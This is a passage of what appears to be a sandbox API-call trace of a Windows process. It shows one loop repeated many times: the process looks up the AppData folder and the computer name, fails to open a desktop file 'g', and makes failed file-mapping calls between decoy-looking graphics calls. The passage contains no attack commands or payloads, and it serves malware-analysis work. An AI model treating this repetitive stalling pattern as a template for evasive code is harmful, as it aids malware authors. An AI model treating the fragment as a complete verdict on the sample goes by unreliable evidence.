hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.987] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.987] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.987] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.987] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.987] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.987] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.987] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.987] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.987] CloseHandle (hObject=0x0) returned 0 [0222.987] CloseHandle (hObject=0xffffffff) returned 1 [0222.987] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.987] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.988] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.988] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.988] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.988] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.988] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.988] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.988] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.988] CloseHandle (hObject=0x0) returned 0 [0222.988] CloseHandle (hObject=0xffffffff) returned 1 [0222.988] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.988] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.988] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.988] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.988] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.988] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.988] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.988] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.988] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.988] CloseHandle (hObject=0x0) returned 0 [0222.988] CloseHandle (hObject=0xffffffff) returned 1 [0222.988] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.989] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.989] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.989] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.989] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.989] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.989] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.989] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.989] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.989] CloseHandle (hObject=0x0) returned 0 [0222.989] CloseHandle (hObject=0xffffffff) returned 1 [0222.989] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.989] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.989] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.989] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.989] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.989] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.989] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.989] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.989] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.989] CloseHandle (hObject=0x0) returned 0 [0222.990] CloseHandle (hObject=0xffffffff) returned 1 [0222.990] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.990] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.990] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.990] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.990] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.990] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.990] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.990] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.990] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.990] CloseHandle (hObject=0x0) returned 0 [0222.990] CloseHandle (hObject=0xffffffff) returned 1 [0222.990] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.990] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.990] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.990] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.990] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.991] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.991] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.991] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.991] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.991] CloseHandle (hObject=0x0) returned 0 [0222.991] CloseHandle (hObject=0xffffffff) returned 1 [0222.991] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.991] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.991] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.991] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.991] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.991] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.991] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.991] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.991] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.991] CloseHandle (hObject=0x0) returned 0 [0222.991] CloseHandle (hObject=0xffffffff) returned 1 [0222.991] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.991] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.991] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.992] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.992] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.992] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.992] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.992] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.992] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.992] CloseHandle (hObject=0x0) returned 0 [0222.992] CloseHandle (hObject=0xffffffff) returned 1 [0222.992] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.993] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.993] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.993] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.993] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.993] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.993] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.993] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.993] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.993] CloseHandle (hObject=0x0) returned 0 [0222.993] CloseHandle (hObject=0xffffffff) returned 1 [0222.993] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.993] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.993] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.993] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.993] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.993] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.993] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.993] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.993] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.996] CloseHandle (hObject=0x0) returned 0 [0222.997] CloseHandle (hObject=0xffffffff) returned 1 [0222.997] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.997] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.997] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.997] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.997] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.997] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.997] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.997] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.997] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.997] CloseHandle (hObject=0x0) returned 0 [0222.997] CloseHandle (hObject=0xffffffff) returned 1 [0222.997] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.997] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.998] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.998] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.998] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.998] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.998] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.998] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.998] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.998] CloseHandle (hObject=0x0) returned 0 [0222.998] CloseHandle (hObject=0xffffffff) returned 1 [0222.998] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.998] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.998] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.998] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.998] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.998] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.998] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.998] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.998] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.998] CloseHandle (hObject=0x0) returned 0 [0222.998] CloseHandle (hObject=0xffffffff) returned 1 [0222.999] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.999] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.999] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.999] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.999] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.999] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.999] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.999] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.999] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.999] CloseHandle (hObject=0x0) returned 0 [0222.999] CloseHandle (hObject=0xffffffff) returned 1 [0222.999] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.999] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.999] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.999] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.999] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.999] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.999] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.999] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.999] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.999] CloseHandle (hObject=0x0) returned 0 [0223.000] CloseHandle (hObject=0xffffffff) returned 1 [0223.000] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.000] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.000] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.000] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.000] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.000] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.000] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.000] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.000] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.000] CloseHandle (hObject=0x0) returned 0 [0223.000] CloseHandle (hObject=0xffffffff) returned 1 [0223.000] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.000] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, 